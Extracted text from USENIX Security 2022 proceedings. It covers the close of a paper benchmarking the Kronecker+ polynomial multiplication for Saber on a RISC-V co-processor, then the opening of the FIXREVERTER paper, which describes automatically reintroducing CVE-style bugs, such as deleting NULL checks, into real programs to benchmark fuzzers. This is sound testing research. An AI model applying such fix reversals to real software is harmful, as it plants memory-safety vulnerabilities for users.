tions by roots of unity in the butterfly operations which boil

down to additions in practice.

We re-iterate that this comment is absolutely right, prohibiting

efficient implementation of Kronecker+ for those schemes in

their current shape.

4.2 Theoretical Model

In this section we give a theoretical estimate for the runtime

of Kronecker+. For this purpose we subdivide the algorithm

into various subroutines according to the description of §3.3,

creating simple and small steps that allow for straightforward

counting of multiply-and-accumulate and additions (or sub-

tractions). Recall that Kronecker+ predominantly operates

in the ring Z/(2ℓn/t
+1), meaning that all counted operations

are of ℓn/t +1 bits. The operation counts are summarized in

Table 2 and are exactly as performed in our implementation.

The first step is Line 1 of Algorithm 1, which we divide

up into the three steps listed in §3.3.2. The combination of

the first two is referred to as phi_and_shift, while the third

operation is a butterfly routine called forward_bfly. The

butterfly can be implemented with t log t additions and T (τ)

multiplications by roots of unities, where T (τ) = 0,0,1,5,17

for τ = 0,1,2,3,4 (see Figure 1 for examples). The roots

of unities 22i jℓn/t2
(for 0 ≤ i, j < t) are powers of two; even

better for τ≤ 4 (recall that t = 2τ) one always has 2i jℓn/t2
≡

0 (mod 32) which means that all shifts come for free by

relabeling and we just have to compute a modular reduction

which can be implemented as an addition (even as a half

addition on average, though we choose to be conservative

here). The phi_and_shift routine does not require explicit

multiplications or additions, but we mention it as it reveals an

interesting step of the algorithm requiring memory operations.

If a co-processor is employed, this would be the step where

the data is loaded onto it. Although it does not contribute

to the arithmetic cost, we decide to include it anyway as it

should not be forgotten. Additionally, if signed coefficients
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Function Ref.
τ

0 1 2 3 4

MatrixVectorMul 2 468 716 430 295 255 291

InnerProd 823 235 138 91 76 84

indcpa_kem_keypair 3 691 1 972 1 682 1 549 1 509 1 548

indcpa_kem_enc 4 477 2 152 1 765 1 585 1 528 1 574

indcpa_kem_dec 856 286 189 144 129 138

crypto_kem_keypair 4 018 2 300 2 011 1877 1 837 1 876

crypto_kem_enc 5 280 2 958 2 571 2391 2 334 2 380

crypto_kem_dec 5 786 2 893 2 411 2184 2 113 2 168

Table 3: Cycle counts of Saber operations Kronecker+ in 1000s of cycles, where all operations are rounded up.

are considered, the routine with t subtractions by Q(2ℓ) as

described in Equation (4) needs to be applied. This operation

is referred to as make_signed.

The next operation is the multiplication in Line 2 of Al-

gorithm 1, called multiply, which requires t multiplications

and 2t additions for the reduction modulo 2ℓn/t
+1. To sim-

plify its implementation we assume that the inputs are positive,

which is not necessarily true after the butterfly. Therefore we

include the function make_positive that adds a fixed multi-

ple of 2ℓn/t
+1 large enough to make all values positive. This

costs t additions.

Line 3 of Algorithm 1 starts with another butterfly opera-

tion backward_bfly with the same cost as forward_bfly.

Afterwards the operation divide_twos divides by t · 2iℓ/t

for i = 0,1, . . . , t− 1. As iℓ/t will be small, this can be im-

plemented as a very small shift followed by two additions.

Finally, Line 4 performs the steps laid out in Algorithm 2.

Analogously to phi_and_shift, this has no arithmetic cost

but can interpreted as loading the coefficients from the co-

processor back to the host device (with some minor overhead).

This operation is named recover_coeffs.

4.3 Performance Results

Recall that our target platform has a RISC-V architecture with

the M-extensions which include integer multiplication and

division instructions. Attached to this platform is a proprietary

dedicated arithmetic co-processor designed to accelerate RSA

and ECC. This co-processor can perform arbitrary length

(modular) arithmetic up to 4096 bits.

Our implementation is derived from the C reference imple-

mentation of Saber,1 where the calls to poly_mul_acc are

replaced by Kronecker+. The implementation of Kronecker+

is written in C except the calls to integer multiplications and

additions, for which special intrinsic instructions are used

to utilize the co-processor. We include cycle counts for the

1https://github.com/KULeuven-COSIC/SABER/tree/master/

Reference_Implementation_KEM

main Saber operations MatrixVectorMul and InnerProd,

and all high-level IND-CPA and IND-CCA routines. We

select the NIST Level 3 security level variant (itself called

Saber) in which MatrixVectorMul performs a 3×3 matrix-

vector multiplication where the matrix elements lie in Z213

and the vector elements are in [−4,4]. It is important to

note that the polynomial products can be accumulated in

the Kronecker domain. That is, we need to apply 9+3 = 12

forward transformations for the matrix and the vector, but

only 3 backwards transformations for the resulting 3× 1

vector. For τ > 0 (τ = 0 is special as some operations

can be completely ignored) we call 12×phi_and_shift,

12×forward_bfly, 3×make_signed, 12×make_positive,

9×multiply, 3×backward_bfly, 3×divide_twos and

3×recover_coeffs. Moreover, the accumulation itself re-

quires a further 9t additions. As the InnerProd routine in

decryption is called with a pre-computed secret, we assume

this to be stored in Kronecker domain (computed during key

generation).

We summarize the results in Table 3. Firstly, we observe

significant speedups for Kronecker+ for τ > 0. This is to be

expected: for τ = 0 the cost of the algorithm is almost com-

pletely dominated by the multiplication, and it is not until

τ = 4 that the cost of the (forward and backward) butter-

flies starts to outweigh the decreased cost of multiplications.

On our platform the optimum is reached at τ = 3, in which

case it outperforms Kronecker substution (τ = 0) and Har-

vey’s negated-evaluation-points method (τ= 1) by a factor 2.8

and 1.7 respectively for MatrixVectorMul. For InnerProd

Kronecker+ with τ = 3 outperforms the same algorithms

by factors 3.1 and 1.8, respectively. Moreover it is 9.7 and

10.8 times faster than the Saber reference implementation,

although it should be noted that the reference implementa-

tion was not designed for speed. We are not aware of any

RISC-V assembly optimized implementations we can com-

pare against.

We can also compare to existing RISC-V implementations

of Saber: for example, Fritzmann, Sigl and Sepúlveda [14] pro-
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pose several (tightly coupled) hardware accelerators for Saber

on a CV32E40P core from the PULP project. A comparison of

our reference implementation with their baseline [14, Table 5]

however shows that their CPU core is much more optimized

towards speed than ours, since the code bases are essentially

equal while their cycle counts are much lower. Interestingly,

they report a cost of approximately 71k cycles for polynomial

multiplication using the pq.mac operation, resulting in about

642k cycles for a full MatrixVectorMul. Since an implemen-

tation with the contemporary arithmetic co-processor requires

only 255k cycles in the best case, this shows that one could

significantly benefit from Kronecker+ even when using a

much faster RISC-V core than our target.

Recently, an even faster implementation on the CV32E40P

core was proposed in [13], which utilizes dedicated hardware

for polynomial multiplications with NTTs [8]. Although this

would be extremely beneficial for future platforms, it is not

compatible with contemporary co-processors.

Finally, a dedicated co-processor is separated from the main

processor and can therefore perform independent operations

concurrently. Much of Kronecker+ can therefore be com-

puted while other operations are in progress (e.g., the pseudo-

random generation of the matrix), making much of it “free”.

The lower the latency on the co-processor, the easier it is to

run it in parallel with other operations. As long as the cost

of Saber is dominated by CPU operations, we expect much

of the polynomial multiplication can actually be performed

for free in this manner. We leave such an implementation

approach for future work.

4.4 Estimating Performance

The performance results displayed in Table 4 are very spe-

cific to our target platform, while one might also wonder if

the Kronecker+ algorithm is suitable for any other selected

platform. In this section we provide some guidance on esti-

mating the performance of Kronecker+ for a given platform.

Of course, the best way to completely capture the runtime is

to implement and benchmark it, but this might be too time-

consuming for a practitioner.

Firstly, many of the Kronecker+ parameters are determined

by the cryptographic scheme. The value n is the modulus of

the ring, which is 256 in the case of Saber. The Kronecker

parameter ℓ is determined by the coefficient size and degree

of the polynomials; in §4.1 we show in detail that ℓ = 32

suffices for Saber. As the runtime of Kronecker+ is dom-

inated by integer multiplication and additions, the crucial

information to determine the runtime of Kronecker+ is the

cost of a b-bit multiplication and addition. We denote these

by M(b) and A(b), respectively, and they are determined by

the co-processor. Given these, the cost of each of the various

Kronecker+ sub-routines can be determined from Table 2.

Finally, for a given operation (e.g., MatrixVectorMul) one

can add up the cost of all required calls to sub-routines.

By way of example, let us estimate the runtime of

MatrixVectorMul on the SLE78CLUFX5000, which is

reported to have an RSA co-processor that satisfies

M(2049) = 9300 and A(2049) = 8 [1, §5.3]. A com-

pletely analogous analysis can be performed on any

platform on which the cost of additions and multipli-

cation is known. For t = 4 all of the multiplications

and additions in Table 2 are exactly 2049-bit. Recall

from §4 that MatrixVectorMul calls 12×phi_and_shift,

12×forward_bfly, 3×make_signed, 12×make_positive,

9×multiply, 3×backward_bfly, 3×divide_twos and

3×recover_coeffs. Combining with Table 2 for t = 4, we

see that Kronecker+ uses exactly 327 additions and 36 mul-

tiplications. This leads to a total of 337416 cycles, which is

almost completely dominated by the cost of the multiplica-

tions. For the same operation (though for Kyber, which makes

no difference in this case of integer arithmetic) [1, Table 2]

reports 556895 and 642726 cycles for regular Kronecker sub-

stitution and Harvey’s negated-points method, respectively.

Therefore it seems plausible that Kronecker+ can lead to a

performance improvement on the SLE78CLUFX5000 com-

pared to the methods of [1]. Again, at this point this is only

a theoretical estimate: there might be significant overhead

in loading data to or getting data from the the co-processor.

To obtain an exact comparison an implementation would be

necessary.

5 Conclusions

We introduced a more flexible way of computing polyno-

mial multiplications in the ring Z[X ]/(Xn
+1) that can be

combined particularly well with Kronecker substitution and

allows for efficient implementation using widely available

arithmetic co-processors. This algorithm, which we refer to

as Kronecker+, can be seen as a variant of the Nussbaumer

algorithm combined with Kronecker substitution, as well as a

generalization of Harvey’s multipoint Kronecker substitution

to rings in which roots of unity of higher degrees are available.

From a theoretical point of view this allows for faster poly-

nomial multiplication in the targeted ring Z[X ]/(Xn
+1) on

computer architectures with large multipliers. From a practi-

cal point of view we outline implementation considerations

when contemporary co-processors are put to the task of accel-

erating post-quantum cryptography. We have demonstrated

the potential of Kronecker+ in this setting by implementing

the post-quantum finalist scheme Saber. We show that our new

algorithm outperforms Kronecker substution and Harvey’s

negated-evaluation-points method by a factor up to 2.8 and

1.7 respectively when used on our platform with an arithmetic

co-processor.

USENIX Association 31st USENIX Security Symposium    3695



References

[1] Martin R. Albrecht, Christian Hanser, Andrea Hoeller,

Thomas Pöppelmann, Fernando Virdia, and Andreas

Wallner. Implementing RLWE-based schemes using

an RSA co-processor. IACR TCHES, 2019(1):169–

208, 2018. https://tches.iacr.org/index.php/

TCHES/article/view/7338.

[2] Erdem Alkim, Léo Ducas, Thomas Pöppelmann, and

Peter Schwabe. Post-quantum key exchange – a new

hope. In Proceedings of the 25th USENIX Security

Symposium. USENIX Association, 2016.

[3] Daniel J. Bernstein, Billy Bob Brumley, Ming-Shing

Chen, Chitchanok Chuengsatiansup, Tanja Lange,

Adrian Marotzke, Bo-Yuan Peng, Nicola Tuveri, Chris-

tine van Vredendaal, and Bo-Yin Yang. NTRU Prime.

Technical report, National Institute of Standards and

Technology, 2020. available at https://csrc.nist.

gov/projects/post-quantum-cryptography/

round-3-submissions.

[4] D.J. Bernstein. Multidigit Multiplication For Mathemati-

cians. 1997. https://cr.yp.to/papers/m3.pdf.

[5] Marco Bodrato and Alberto Zanoni. Integer and Poly-

nomial Multiplication: Towards Optimal Toom-Cook

Matrices. In Christopher W. Brown, editor, ISSAC 2007,

pages 17–24. ACM press, July 2007.

[6] Joppe W. Bos, Craig Costello, Michael Naehrig, and

Douglas Stebila. Post-quantum key exchange for the

TLS protocol from the ring learning with errors problem.

In 2015 IEEE Symposium on Security and Privacy – SP,

pages 553–570. IEEE Computer Society, 2015.

[7] Joppe W. Bos, Kristin Lauter, Jake Loftus, and Michael

Naehrig. Improved security for a ring-based fully ho-

momorphic encryption scheme. In Martijn Stam, editor,

Cryptography and Coding 2013, volume 8308 of Lec-

ture Notes in Computer Science, pages 45–64. Springer,

2013.

[8] Chi-Ming Marvin Chung, Vincent Hwang, Matthias J.

Kannwischer, Gregor Seiler, Cheng-Jhih Shih, and Bo-

Yin Yang. NTT Multiplication for NTT-unfriendly

Rings. Cryptology ePrint Archive, Report 2020/1397,

2020. https://eprint.iacr.org/2020/1397.

[9] S. A. Cook. On the minimum computation time of

functions. PhD thesis, Harvard University, 1966.

[10] J. W. Cooley and J. W. Tukey. An algorithm for the

machine calculation of complex Fourier series. Mathe-

matics of Computation, 19:297–301, 1965.

[11] Jan-Pieter D’Anvers, Angshuman Karmakar,

Sujoy Sinha Roy, Frederik Vercauteren, Jose

Maria Bermudo Mera, Michiel van Beirendonck,

and Andrea Basso. SABER. Technical report,

National Institute of Standards and Technol-

ogy, 2020. available at https://csrc.nist.

gov/projects/post-quantum-cryptography/

round-3-submissions.

[12] Espressif Systems. ESP32 Technical Refer-

ence Manual. https://www.espressif.com/

sites/default/files/documentation/esp32_

technical_reference_manual_en.pdf.

[13] Tim Fritzmann, Michiel Van Beirendonck, De-

bapriya Basu Roy, Patrick Karl, Thomas Scham-

berger, Ingrid Verbauwhede, and Georg Sigl.

Masked Accelerators and Instruction Set Exten-

sions for Post-Quantum Cryptography. Cryp-

tology ePrint Archive, Report 2021/479, 2021.

https://eprint.iacr.org/2021/479.

[14] Tim Fritzmann, Georg Sigl, and Johanna Sepúlveda.

RISQ-V: Tightly coupled accelerators for post-

quantum cryptography. IACR TCHES, 2020(4):239–

280, 2020. https://tches.iacr.org/index.php/

TCHES/article/view/8683.

[15] Pierrick Gaudry, Alexander Kruppa, and Paul Zimmer-

mann. A GMP-based implementation of Schönhage-

Strassen’s large integer multiplication algorithm. Pro-

ceedings of the International Symposium on Symbolic

and Algebraic Computation, ISSAC, 07 2007.

[16] David Harvey. Faster polynomial multiplication via

multipoint Kronecker substitution. Journal of Symbolic

Computation, 44(10):1502–1510, 2009.

[17] Infineon. SLE 78CAFX1M1SPHM.

https://www.infineon.com/cms/en/

product/security-smart-card-solutions/

security-controllers/sle-78/

sle-78cafx1m1sphm.

[18] Anatoly Karatsuba and Yuri Ofman. Multiplication of

Many-Digital Numbers by Automatic Computers. Dok-

lady Akad. Nauk SSSR, 145:293–294, 1962. Translation

in Physics-Doklady 7, 595–596, 1963.

[19] N. Koblitz. Elliptic curve cryptosystems. Mathematics

of Computation, 48:203–209, 1987.

[20] L. Kronecker. Grundzüge einer arithmetischen Theorie

der algebraischen Grössen. Journal für die reine und

angewandte Mathematik, 92:1–122, 1882.

3696    31st USENIX Security Symposium USENIX Association



[21] Vadim Lyubashevsky, Léo Ducas, Eike Kiltz, Tancrède

Lepoint, Peter Schwabe, Gregor Seiler, Damien

Stehlé, and Shi Bai. CRYSTALS-DILITHIUM.

Technical report, National Institute of Standards and

Technology, 2020. available at https://csrc.nist.

gov/projects/post-quantum-cryptography/

round-3-submissions.

[22] Gilad David Maayan. The IoT rundown

for 2020: Stats, risks, and solutions. https:

//securitytoday.com/Articles/2020/01/13/

The-IoT-Rundown-for-2020.aspx.

[23] Victor S. Miller. Use of elliptic curves in cryptography.

In Hugh C. Williams, editor, CRYPTO’85, volume 218

of LNCS, pages 417–426. Springer, Heidelberg, August

1986.

[24] Michael Naehrig, Erdem Alkim, Joppe Bos, Léo Ducas,

Karen Easterbrook, Brian LaMacchia, Patrick Longa,

Ilya Mironov, Valeria Nikolaenko, Christopher Peikert,

Ananth Raghunathan, and Douglas Stebila. FrodoKEM.

Technical report, National Institute of Standards and

Technology, 2020. available at https://csrc.nist.

gov/projects/post-quantum-cryptography/

round-3-submissions.

[25] National Institute of Standards and Tech-

nology. Post-quantum cryptography stan-

dardization. https://csrc.nist.gov/

Projects/Post-Quantum-Cryptography/

Post-Quantum-Cryptography-Standardization.

[26] H. Nussbaumer. Fast polynomial transform algorithms

for digital convolution. IEEE Transactions on Acoustics,

Speech, and Signal Processing, 28(2):205–215, 1980.

[27] NXP Semiconductors. NXP secure microcontroller

SmartMX P71D321. https://www.nxp.com/docs/

en/fact-sheet/P71D321.pdf.

[28] John M. Pollard. The fast Fourier transform in a finite

field. Mathematics of computation, 25(114):365–374,

1971.

[29] Thomas Prest, Pierre-Alain Fouque, Jeffrey Hoff-

stein, Paul Kirchner, Vadim Lyubashevsky, Thomas

Pornin, Thomas Ricosset, Gregor Seiler, William

Whyte, and Zhenfei Zhang. FALCON. Technical

report, National Institute of Standards and Tech-

nology, 2020. available at https://csrc.nist.

gov/projects/post-quantum-cryptography/

round-3-submissions.

[30] R. L. Rivest, A. Shamir, and L. Adleman. A Method

for Obtaining Digital Signatures and Public-Key Cryp-

tosystems. Commun. ACM, 21(2):120–126, February

1978.

[31] A. Schönhage and V. Strassen. Schnelle Multiplikation

großer Zahlen. Computing, 7:281–292, 1971.

[32] Arnold Schönhage. Asymptotically fast algorithms for

the numerical multiplication and division of polynomi-

als with complex coefficients. In Jacques Calmet, editor,

Computer Algebra, pages 3–15. Springer Berlin Heidel-

berg, 1982.

[33] Peter Schwabe, Roberto Avanzi, Joppe Bos, Léo

Ducas, Eike Kiltz, Tancrède Lepoint, Vadim Lyuba-

shevsky, John M. Schanck, Gregor Seiler, and

Damien Stehlé. CRYSTALS-KYBER. Technical

report, National Institute of Standards and Tech-

nology, 2020. available at https://csrc.nist.

gov/projects/post-quantum-cryptography/

round-3-submissions.

[34] Peter W. Shor. Algorithms for quantum computation:

Discrete logarithms and factoring. In 35th FOCS, pages

124–134. IEEE Computer Society Press, November

1994.

[35] The Sage Developers. SageMath, the Sage Mathematics

Software System (Version 8.1), 2020. https://www.

sagemath.org.

[36] A.L. Toom. The complexity of a scheme of functional

elements realizing the multiplication of integers. In

Soviet Mathematics Doklady, volume 3, pages 714–716,

1963.

[37] G. van der Lubbe. A New Hope for Nussbaumer.

2016. https://www.cs.ru.nl/bachelors-theses/

2016/Gerben_van_der_Lubbe___4389026___A_

New_Hope_for_Nussbaumer.pdf.

[38] Bin Wang, Xiaozhuo Gu, and Yingshan Yang. Saber on

ESP32. In Mauro Conti, Jianying Zhou, Emiliano Casal-

icchio, and Angelo Spognardi, editors, Applied Cryp-

tography and Network Security - ACNS 2020, volume

12146 of LNCS, pages 421–440. Springer, 2020.

[39] Zhenfei Zhang, Cong Chen, Jeffrey Hoffstein, William

Whyte, John M. Schanck, Andreas Hulsing, Joost Rijn-

eveld, Peter Schwabe, Oussama Danba, Tsunekazu Saito,

Takashi Yamakawa, and Keita Xagawa. NTRUEncrypt.

Technical report, National Institute of Standards and

Technology, 2020. available at https://csrc.nist.

gov/projects/post-quantum-cryptography/

round-3-submissions.

USENIX Association 31st USENIX Security Symposium    3697





FIXREVERTER: A Realistic Bug Injection Methodology
for Benchmarking Fuzz Testing

Zenong Zhang†, Zach Patterson†, Michael Hicks‡, and Shiyi Wei†
†University of Texas at Dallas ‡ University of Maryland and Amazon∗

Abstract
Fuzz testing is an active area of research with proposed im-
provements published at a rapid pace. Such proposals are
assessed empirically: Can they be shown to perform better
than the status quo? Such an assessment requires a benchmark
of target programs with well-identified, realistic bugs. To ease
the construction of such a benchmark, this paper presents
FIXREVERTER, a tool that automatically injects realistic bugs
in a program. FIXREVERTER takes as input a bugfix pattern
which contains both code syntax and semantic conditions.
Any code site that matches the specified syntax is undone
if the semantic conditions are satisfied, as checked by static
analysis, thus (re)introducing a likely bug. This paper focuses
on three bugfix patterns, which we call conditional-abort,
conditional-execute, and conditional-assign, based on a study
of fixes in a corpus of Common Vulnerabilities and Expo-
sures (CVEs). Using FIXREVERTER we have built REVBUG-
BENCH, which consists of 10 programs into which we have
injected nearly 8,000 bugs; the programs are taken from
FuzzBench and Binutils, and represent common targets of
fuzzing evaluations. We have integrated REVBUGBENCH into
the FuzzBench service, and used it to evaluate five fuzzers.
Fuzzing performance varies by fuzzer and program, as de-
sired/expected. Overall, 219 unique bugs were reported, 19%
of which were detected by just one fuzzer.

1 Introduction

Fuzz testing (a.k.a. fuzzing) has proved to be surprisingly suc-
cessful at discovering security vulnerabilities. For example,
AFL [1], one of the most mature and widely used fuzzers,
has an extensive trophy case. This success has spurred re-
search toward addressing fuzzing’s weaknesses, with dozens
of published improvements in the last few years [2].

Most proposed fuzzing improvements are judged empiri-
cally. A proposed improvement’s implementation is evaluated

∗Work done prior to starting at Amazon.

by running it on a set of target programs, comparing its per-
formance against that of one or more baseline fuzzers.

A key question is what performance measure to use. One
popular measure, employed by Google’s FuzzBench [3], is
code coverage; if a fuzzer A (the improvement) is able to
generate tests that execute more distinct lines/branches in a
target program than the baseline B, then one could argue A
will find more bugs. Multiple studies have been performed
with the goal of understanding the relationship between code
coverage and bug finding [4–6]. Unfortunately, a recent study
finds that while there is a strong correlation between the
coverage achieved and the number of bugs found by a fuzzer,
there is not strong agreement on which fuzzer is superior if
coverage is used to compare the fuzzers [7].

Another popular measure is to count the number of dis-
tinct, crash-inducing inputs generated, a.k.a. unique crashes.
Since two different inputs can easily trigger the same bug,
researchers often employ deduplication heuristics; two popu-
lar heuristics are AFL’s “coverage profiles” and fuzzy stack
hashes [8]. However, a study by Klees et al. [9] showed that
both heuristics could still yield many false positives (many
“deduplicated” inputs still trigger the same bug) and also some
false negatives (“deduplicating” an input can actually remove
evidence of a distinct bug). For one program, their study found
that a result that appeared to show fuzzer A was superior to
baseline B disappeared when ground truth was used, rather
than “unique” crash heuristics.

1.1 Developing a Fuzzing Benchmark

Klees et al. recommended developing a benchmark of buggy
programs with which to empirically compare fuzzer imple-
mentations [9]. Systematizing their advice, we identify four
goals for an effective benchmark suite:

G1 it should use relevant, real-world target programs;

G2 those programs should contain realistic, relevant bugs
(e.g., memory corruption/crash bugs);
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G3 these bugs should be triggerable in a way that clearly in-
dicates when a particular bug is found, to avoid problems
with deduplication;

G4 the benchmark should defend against overfitting.

There are several extant fuzzing benchmarks, but none
meet all of these criteria. UNIFUZZ [10] comprises many
real-world programs with known bugs, satisfying G1 and G2.
But triggering a bug does not emit a telltale sign; instead,
UNIFUZZ distinguishes bugs based on stack traces, which
is unreliable per Klees et al. [9], thus violating G3. Google
FuzzBench also comprises dozens of real-world programs, but
many of them do not have known bugs; FuzzBench focuses on
measuring code coverage, not bugs triggered. For those pro-
grams that have bugs, it uses unreliable means (stack traces)
to distinguish them. The DARPA Cyber Grand Challenge
(CGC) [11] has well-identified (G3) and realistic (G2) bugs,
but its programs are synthetic, violating G1. Magma [12] sat-
isfies G1, G2, and G3: it comprises real-world programs with
relevant bugs injected by hand so that when a bug is triggered,
it gives a telltale sign.

An issue with any benchmark, and with each of these in
particular, is that it can be prone to overfitting (G4). Fuzzer
developers may start to employ heuristics and strategies that
do not serve the general goal of finding more vulnerabilities,
but instead simply aim to perform better on a particular bench-
mark [9]. A benchmark built around automated fault injection
can help avoid the overfitting problem and satisfy the other
goals, too: (1) bugs can be automatically injected into real
programs in a way that the bug signals when triggered, and (2)
the tool can be used to produce new, fault-injected programs
as often as needed, to prevent fuzzers from overfitting to a
fixed set of programs.

LAVA [13] is an approach for adding faults to a program
automatically, and LAVA-M is a collection of four programs
with LAVA-injected bugs, which has proved to be a popu-
lar evaluation target in the fuzzing literature [14–18]. LAVA
works by injecting code snippets that each consist of a branch
with an unusual condition; if the condition is true, the pro-
gram faults (with a telltale sign). Apocalypse [19] generalizes
this approach by injecting conditions that implement an error
transition system, with a fault induced when the final state
is reached. Both LAVA and Apocalypse arguably fail G2,
since the injected patterns do not resemble realistic bugs. For
LAVA there is also concern (noted by the LAVA authors [20])
that the injected pattern is easily gamed, reducing the benefit
of automating fault injection for evaluation purposes. Evil-
Coder [21] uses static dataflow analysis as the basis for in-
jecting realistic source/sink bugs, but as far as we can tell has
never been used at scale.

Figure 1: The architecture of FIXREVERTER.

1.2 Our proposal: FIXREVERTER

This paper presents FIXREVERTER, a new fault injection tool,
and REVBUGBENCH, a benchmark we have produced using it.
To increase the realism of its injected faults, FIXREVERTER
employs patterns that match fixes of previous CVEs [22].
In particular, FIXREVERTER is instructed to find a pattern
that matches an observed fix, and then reverses that pattern,
aiming to undo the “fix” and thereby (re)introduce a bug.

Figure 1 depicts FIXREVERTER. It takes as inputs a pro-
gram into which to inject bugs, and descriptions of bugfix
patterns. Bugfix patterns have two components: a syntactic
pattern that identifies, via a grammar, code at a potential in-
jection site, and a semantic condition that indicates whether
reverting the matched code could lead to a crash.

Based on a study of 814 CVEs (Section 2) we have de-
veloped three bugfix patterns, which we call conditional-
abort (ABORT), conditional-execute (EXEC), and conditional-
assign (ASSIGN ). The ABORT pattern matches a fix that
aborts continued forward execution if the condition is true.
One instance of this pattern is CVE-2017-8395 [23], shown in
Figure 2 (under the comment PR 21431), which returns early
if a pointer variable is NULL, in order to avoid subsequently
dereferencing it. The EXEC pattern matches a fix that adds
additional constraints to a conditional to prevent erroneous
execution of its body. The ASSIGN pattern matches a fix that
introduces a conditional assignment to a variable, to prevent
erroneous execution involving that variable in the code that
follows it.

For each pattern, FIXREVERTER first matches the syntax
of the pattern in the target program according to a grammar
(Section 3.1), thus identifying candidate injection sites (Sec-
tion 3.2). Then, for each candidate injection site that matches
this code pattern, FIXREVERTER checks the semantic con-
dition, which if satisfied means that reversing the fix will
likely result in a triggerable crash. It does this via a static
reachability & dependence analysis (Section 3.3). This analy-
sis first checks whether the injection site may be reachable
via a feasible program execution starting at an entry point
(e.g., main). For example, the NULL-check site in Figure 2 is
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reachable from main through the orange call edges. Second, it
(inter-procedurally) checks whether there is dataflow from a
relevant variable or field to a possible dereference site. For the
example in Figure 2, the variable is uncompressed_buffer and the
analysis would detect that this variable flows to a dereference
within the fread call (through the blue dataflow edges). If the
analysis finds no dereference site to which a variable flows,
FIXREVERTER will not reverse the code pattern, since it has
no specific evidence that doing so will induce a crash.

After deciding the final set of bugs, FIXREVERTER injects
them (Section 3.4). For ABORT pattern, this means delet-
ing the check and return (or dropping a disjunctive clause).
For EXEC pattern, this means loosening the condition. For
ASSIGN pattern, this means removing the conditional as-
signment. FIXREVERTER’s injector avoids introducing new
branches that may be instrumented by the fuzzers and affect
their feedback, similar to Magma’s by-hand injections [12].

To avoid injecting uninteresting bugs which could fail too
easily, FIXREVERTER runs a naive bug filter. One possible
filter is the target program’s regression test suite—any injected
bug that fails the regression tests should be discarded. Another
strategy, which we used to develop REVBUGBENCH, is to
run the program with injected bugs using a fuzzing seed, and
we do not inject those triggered by the seed.

To report the specific cause(s) of a crash due to some input
I, we apply a novel triage procedure (Section 3.5). To have
clear indicators which injected bugs are triggered in a crashing
input, FIXREVERTER logs when the guards from the removed
and updated conditions hold. The triage procedure identifies
two kinds of cause: (1) an individual cause is a single bug
that is sufficient to produce the crash with I, on its own; (2)
a combination cause is a set of bugs that must all be present
for I to crash. Sometimes a single input can induce multiple
crashes with distinct causes; e.g., input I produced by a fuzzer
when bugs A, B, and C are injected could triage to having both
A and B, individually, as causes (both need not be present, but
if either is, the program crashes).

1.3 A New Benchmark: REVBUGBENCH

We construct REVBUGBENCH (Section 4) by running FIXRE-
VERTER on 8 programs in FuzzBench and 2 Binutils pro-
grams, all used in prior fuzzing evaluations (G1). In total,
nearly 8000 bugs are injected. We integrated REVBUGBENCH
into Google’s FuzzBench service to simplify its use in evalu-
ating fuzzers at scale.

We evaluated 5 fuzzers on REVBUGBENCH (Section 5):
AFL [1], libFuzzer [24], AFL++ [25], Eclipser [16], and Fair-
Fuzz [26]. In total, the fuzzers triggered 219 individual-bug
causes, 19% of which were detected by at most one fuzzer,
and 221 additional combination causes. Performance varied
by fuzzer and target program, with AFL++ doing the best
overall.

In summary, REVBUGBENCH contains 10 real-world pro-

Figure 2: Illustration of FIXREVERTER: CVE-2017-8395

grams from prior fuzzing evaluations, satisfying G1. G2 fol-
lows from the reversion of code patterns based on real CVE
bugfixes, and G3 follows from the injection logic that identi-
fies when a bug is triggered. There is the caveat that a reverted
fix is not provably triggerable because FIXREVERTER’s static
analysis is necessarily overapproximate, and moreover in-
jected bugs may interact in ways that the analysis did not
anticipate. Nevertheless, as a practical matter we find that
many injected bugs are triggerable by modern fuzzers, and
many more are not; moreover, our triage procedure allows the
root causes of a crash to be discerned. Finally, G4 is satisfied
because while fuzzers may overfit to a static set of injected
bugfix patterns, the use of FIXREVERTER allows REVBUG-
BENCH to be expanded with new patterns and programs, or
by creating benchmark variants using a sample of injected
bugs. We hope REVBUGBENCH’s integration into FuzzBench
could ensure its continued use and evolution.

Contributions This paper made the following contributions:

• The identification of the conditional-abort, conditional-
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execute, and conditional-assign bugfix patterns, defined
by a combination of code syntax and a semantic condi-
tion, discerned from a study of bugfixes of CVEs.

• A framework, FIXREVERTER, that automatically injects
bugs by reversing instances of the three patterns, detected
by the use of syntax matching and static analysis.

• A fuzzing benchmark REVBUGBENCH based on run-
ning FIXREVERTER on 10 programs taken from Binutils
and FuzzBench, and integrated into FuzzBench along
with a novel triaging algorithm.

• An evaluation that compares 5 state-of-the-art fuzzers
using REVBUGBENCH, with results that suggest its use-
fulness as a benchmark.

2 Bugfix Patterns

We inspected past bugfixes in the Common Vulnerabilities
and Exposures reports (CVEs) to find relevant bugfix patterns.
In particular, we studied 693 CVEs from six open source pro-
grams (Binutils [27], Tcpdump [28], libxml2 [29], FFmpeg [30],
libarchive [31] and systemd [32]). We chose these programs
for three reasons. First, they are well studied in the fuzzing lit-
erature [9,15,26,33–37], and contain well-documented CVEs.
Second, most of their CVE records contain direct links to
the source code diff of the bugfix. Third, most of their CVE
records are reproducible and come with call stacks to help
understand the origins of the bugs and how the bugfixes work.
In addition, we also studied the 121 CVEs and bugfixes that
were used to construct the Magma benchmark [12].

For each CVE, we spent 10 minutes with the provided test
input, call stack, and code diffs to understand the cause of the
bug and the developer’s intention with the bugfix. For all of
the CVEs together, we tried to identify common patterns.

In the end, we used 170 CVEs from the 814 as a ba-
sis for three general bugfix patterns we call conditional-
abort (ABORT), conditional-execute (EXEC), and conditional-
assign (ASSIGN ), which we discuss in detail shortly. Among
them, 10 CVEs were used as basis of two patterns. While other
patterns are possible, ABORT, EXEC, and ASSIGN represent
general, intuitive patterns to demonstrate the effectiveness of
FIXREVERTER. Indeed, bugfixes similar to them were con-
sidered in previous studies of bug repositories [38–40] and
automatic bugfixing tools [41–43]. We call these CVEs that
are the basis of the three patterns our bugfix dataset.

ABORT An ABORT fix is characterized by the addition of
an if-statement that checks that a variable (or path) involved
in a downstream dereference satisfies an invariant, and breaks
the flow of control (e.g., returns from the function) if it does
not. Such a bugfix prevents subsequent program execution
from dereferencing a pointer whose value is dependent on
the checked variable. Figure 2 shows an ABORT bugfix, as

1 bfd_boolean _bfd_dwarf2_find_nearest_line
2 (asymbol **symbols, /*other parameters*/)
3 {
4 ...
5 - if ((section->flags & SEC_CODE) == 0)
6 + if (symbols != NULL && (section->flags & SEC_CODE) == 0)
7 {
8 asymbol **tmp;
9 for (tmp = symbols; (*tmp) != NULL; ++tmp)

10 ...
11 }
12 }

